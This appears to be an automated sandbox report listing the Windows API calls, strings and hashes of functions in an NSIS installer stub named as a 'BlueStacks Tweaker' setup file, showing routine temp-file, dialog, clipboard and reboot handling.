Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.4%
Total number of Nodes:	1266
Total number of Limit Nodes:	39

Executed Functions

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040325B
SetErrorMode.KERNEL32(00008001), ref: 00403266
OleInitialize.OLE32(00000000), ref: 0040326D

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

SHGetFileInfoA.SHELL32(0041F458,00000000,?,00000160,00000000,00000008), ref: 00403295

Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe,NSIS Error), ref: 00405B73

GetCommandLineA.KERNEL32(BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe,NSIS Error), ref: 004032AA
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",00000000), ref: 004032BD
CharNextA.USER32(00000000,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",00000020), ref: 004032E8
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040337B
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403390
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040339C
DeleteFileA.KERNEL32(1033), ref: 004033AF
OleUninitialize.OLE32(00000000), ref: 0040342D
ExitProcess.KERNEL32 ref: 0040344D
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",00000000,00000000), ref: 00403459
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp), ref: 00403465
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403471
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403478
DeleteFileA.KERNEL32(0041F058,0041F058,?,00424000,?), ref: 004034C2
CopyFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,0041F058,00000001), ref: 004034D6
CloseHandle.KERNEL32(00000000,0041F058,0041F058,?,0041F058,00000000), ref: 00403503
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 00403558
ExitWindowsEx.USER32(00000002,00000000), ref: 00403594
ExitProcess.KERNEL32 ref: 004035B7

Strings

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe, xrefs: 004034D1
~nsu.tmp, xrefs: 00403453
C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp, xrefs: 0040345E, 00403463, 00403486
_?=, xrefs: 004033D6
NCRC, xrefs: 00403328
/D=, xrefs: 0040333E
1033, xrefs: 004033AA
Error launching installer, xrefs: 004033E5
NSIS Error, xrefs: 0040329B
\Temp, xrefs: 00403396
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040324C
", xrefs: 0040330A
"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe", xrefs: 004032B0, 004032B6, 004033CC
C:\Users\user\AppData\Local\Temp\, xrefs: 00403370, 00403375, 0040338F, 0040339B, 00403458, 00403464, 00403470, 00403477, 00403517
SeShutdownPrivilege, xrefs: 0040356A
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe, xrefs: 004032A0

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"$1033$BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp$C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2278157092-3847858612
Opcode ID: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction ID: d9df3101e86bd055252ea398e1a167ecdf9755d8b7b18b8fa076e16bcd865dbe
Opcode Fuzzy Hash: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction Fuzzy Hash: E191D231A087417EE7216F609D49B2B7EACEB01306F44457BF941B61E2C77CAE058B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405042 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004050A1
GetDlgItem.USER32(?,000003EE), ref: 004050B0
GetClientRect.USER32(?,?), ref: 004050ED
GetSystemMetrics.USER32(00000015), ref: 004050F5
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405116
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405127
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 0040513A
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 00405148
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040515B
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040517D
ShowWindow.USER32(?,00000008), ref: 00405191
GetDlgItem.USER32(?,000003EC), ref: 004051B2
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051C2
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051DB
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 004051E7
GetDlgItem.USER32(?,000003F8), ref: 004050BF

Part of subcall function 00403F4D: SendMessageA.USER32(00000028,?,00000001,00403D7E), ref: 00403F5B

GetDlgItem.USER32(?,000003EC), ref: 00405204
CreateThread.KERNEL32(00000000,00000000,Function_00004FD6,00000000), ref: 00405212
CloseHandle.KERNEL32(00000000), ref: 00405219
ShowWindow.USER32(00000000), ref: 0040523D
ShowWindow.USER32(00090226,00000008), ref: 00405242
ShowWindow.USER32(00000008), ref: 00405289
SendMessageA.USER32(00090226,00001004,00000000,00000000), ref: 004052BB
CreatePopupMenu.USER32 ref: 004052CC
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004052E1
GetWindowRect.USER32(00090226,?), ref: 004052F4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405318
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405353
OpenClipboard.USER32(00000000), ref: 00405363
EmptyClipboard.USER32 ref: 00405369
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405372
GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040537C
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405390
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004053A8
SetClipboardData.USER32(00000001,00000000), ref: 004053B3
CloseClipboard.USER32 ref: 004053B9

Strings

BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe , xrefs: 0040532F
{, xrefs: 004052A8

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ${
API String ID: 590372296-2829079947
Opcode ID: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction ID: b28aa7ce0402c6385ba5b6cd868a6258f1d07b471923b7bae974b2a68da01879
Opcode Fuzzy Hash: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction Fuzzy Hash: 34A14870904208FFDB219F60DD89AAE7F79FB08355F00417AFA05BA2A0C7795A41DF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNEL32(?,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",76232EE0), ref: 004054A9
lstrcatA.KERNEL32(004214A8,\*.*,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",76232EE0), ref: 004054F3
lstrcatA.KERNEL32(?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",76232EE0), ref: 00405514
lstrlenA.KERNEL32(?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",76232EE0), ref: 0040551A
FindFirstFileA.KERNEL32(004214A8,?,?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",76232EE0), ref: 0040552B
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 004055DD
FindClose.KERNEL32(?), ref: 004055EE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040548B
"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe", xrefs: 00405495
\*.*, xrefs: 004054ED

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-252846246
Opcode ID: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction ID: bc429f5d1e1b14784ce7e3564347ec6ed469848bfd5577fff983359c073685a4
Opcode Fuzzy Hash: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction Fuzzy Hash: 0351F331904A447ADB216B218C45BBF3B79CF42728F54847BF905711E2CB3C5A82DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406131 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction ID: 7fe690cacb8e5da35aefc448adc87e2f65dc6f56ff44dc44b78e187fa59068bd
Opcode Fuzzy Hash: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction Fuzzy Hash: 70F16871D00229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E88 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction ID: 91087f9554edebef2dfdad95906e97f440013226b38390424b9c6ad62026e406
Opcode Fuzzy Hash: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction Fuzzy Hash: 0FE08C32A08511BBD3115B30ED0896B77A8EA89B41304083EF959F6290D734EC119BFA

Uniqueness

Uniqueness Score: -1.00%

Function 00405E61 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,004224F0,004218A8,0040577D,004218A8,004218A8,00000000,004218A8,004218A8,?,?,76232EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",76232EE0), ref: 00405E6C
FindClose.KERNEL32(00000000), ref: 00405E78

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction ID: f2fe444ddfa45285d6a9eb51d657c4c39712a0d2250b7f8498e11f87d01b5aa3
Opcode Fuzzy Hash: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction Fuzzy Hash: 26D012359495206FC7001738AD0C85B7A58EF553347508B32F969F62E0C7B4AD51DAED

Uniqueness

Uniqueness Score: -1.00%

Function 00403A45 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A81
ShowWindow.USER32(?), ref: 00403A9E
DestroyWindow.USER32 ref: 00403AB2
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403ACE
GetDlgItem.USER32(?,?), ref: 00403AEF
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B03
IsWindowEnabled.USER32(00000000), ref: 00403B0A
GetDlgItem.USER32(?,00000001), ref: 00403BB8
GetDlgItem.USER32(?,00000002), ref: 00403BC2
SetClassLongA.USER32(?,000000F2,?), ref: 00403BDC
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C2D
GetDlgItem.USER32(?,00000003), ref: 00403CD3
ShowWindow.USER32(00000000,?), ref: 00403CF4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D21
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D37
EnableMenuItem.USER32(00000000), ref: 00403D3E
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D56
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D69
lstrlenA.KERNEL32(BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,?,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe), ref: 00403D92
SetWindowTextA.USER32(?,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ), ref: 00403DA1
ShowWindow.USER32(?,0000000A), ref: 00403ED5

Strings

BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe , xrefs: 00403D7E, 00403D88, 00403D91, 00403D9F
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe, xrefs: 00403D83

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherLongMenuUser$ClassDestroyEnableEnabledSystemTextlstrlen
String ID: BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe$BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe
API String ID: 1252290697-3341066224
Opcode ID: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction ID: 1b558320748e03173a152966608fa9e4bba3452d5179f8dde3fdb5243a6fbb8a
Opcode Fuzzy Hash: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction Fuzzy Hash: 21C18071A04204BBDB216F21ED45E2B3E7DEB4970AF40053EF541B12E1C739AA42DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004036AF Relevance: 52.7, APIs: 15, Strings: 15, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

lstrcatA.KERNEL32(1033,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,80000001,Control Panel\Desktop\ResourceLocale,00000000,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403720
lstrlenA.KERNEL32(00422E40,?,?,?,00422E40,00000000,00429400,1033,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,80000001,Control Panel\Desktop\ResourceLocale,00000000,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"), ref: 00403795
lstrcmpiA.KERNEL32(?,.exe), ref: 004037A8
GetFileAttributesA.KERNEL32(00422E40), ref: 004037B3
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,00429400), ref: 004037FC

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

RegisterClassA.USER32 ref: 00403843
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 0040385B
CreateWindowExA.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403894
ShowWindow.USER32(00000005,00000000), ref: 004038CA
LoadLibraryA.KERNEL32(RichEd20), ref: 004038DB
LoadLibraryA.KERNEL32(RichEd32), ref: 004038E6
GetClassInfoA.USER32(00000000,RichEdit20A,00423640), ref: 004038F6
GetClassInfoA.USER32(00000000,RichEdit,00423640), ref: 00403903
RegisterClassA.USER32(00423640), ref: 0040390C
DialogBoxParamA.USER32(?,00000000,00403A45,00000000), ref: 0040392B

Strings

RichEd20, xrefs: 004038D6
A.B, xrefs: 00403785
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe , xrefs: 004036DB, 004036E1, 004036FC, 00403705, 0040371A
RichEdit20A, xrefs: 004038EE, 004038F4
1033, xrefs: 004036CF, 0040371B
_Nb, xrefs: 00403852, 00403857
.exe, xrefs: 004037A2
RichEdit, xrefs: 004038FD
RichEd32, xrefs: 004038E1
@.B, xrefs: 00403763
@6B, xrefs: 0040380B
.DEFAULT\Control Panel\International, xrefs: 0040370B
Control Panel\Desktop\ResourceLocale, xrefs: 004036E3
C:\Users\user\AppData\Local\Temp\, xrefs: 004036B3
"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe", xrefs: 004036BB

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"$.DEFAULT\Control Panel\International$.exe$1033$@.B$@6B$A.B$BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe $C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-3447187072
Opcode ID: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction ID: 5edcd83abe1923a5ef33726047749e404321c8c293ca1ea02831498dc8d0bb6f
Opcode Fuzzy Hash: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction Fuzzy Hash: A961A3B16442007FD720AF659D45E2B3AADEB4475AF40457FF940B22E1D77CAD01CA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00404060 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040EB
GetDlgItem.USER32(00000000,000003E8), ref: 004040FF
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040411D
GetSysColor.USER32(?), ref: 0040412E
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040413D
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 0040414C
lstrlenA.KERNEL32(?), ref: 00404156
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404164
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404173
GetDlgItem.USER32(?,0000040A), ref: 004041D6
SendMessageA.USER32(00000000), ref: 004041D9
GetDlgItem.USER32(?,000003E8), ref: 00404204
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404244
LoadCursorA.USER32(00000000,00007F02), ref: 00404253
SetCursor.USER32(00000000), ref: 0040425C
ShellExecuteA.SHELL32(0000070B,open,@.B,00000000,00000000,00000001), ref: 0040426F
LoadCursorA.USER32(00000000,00007F00), ref: 0040427C
SetCursor.USER32(00000000), ref: 0040427F
SendMessageA.USER32(00000111,00000001,00000000), ref: 004042AB
SendMessageA.USER32(00000010,00000000,00000000), ref: 004042BF

Strings

N, xrefs: 004041F2
open, xrefs: 00404267
@.B, xrefs: 00404264

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @.B$N$open
API String ID: 3615053054-3815657624
Opcode ID: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction ID: 7761d7a6ce13443680711406d70bf9c6d022160e69bfd2fffc9b265f6460a43d
Opcode Fuzzy Hash: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction Fuzzy Hash: 4661B2B1A40209BFEB109F60DC45F6A3B69FB44755F10817AFB04BA2D1C7B8A951CF98

Uniqueness

Uniqueness Score: -1.00%

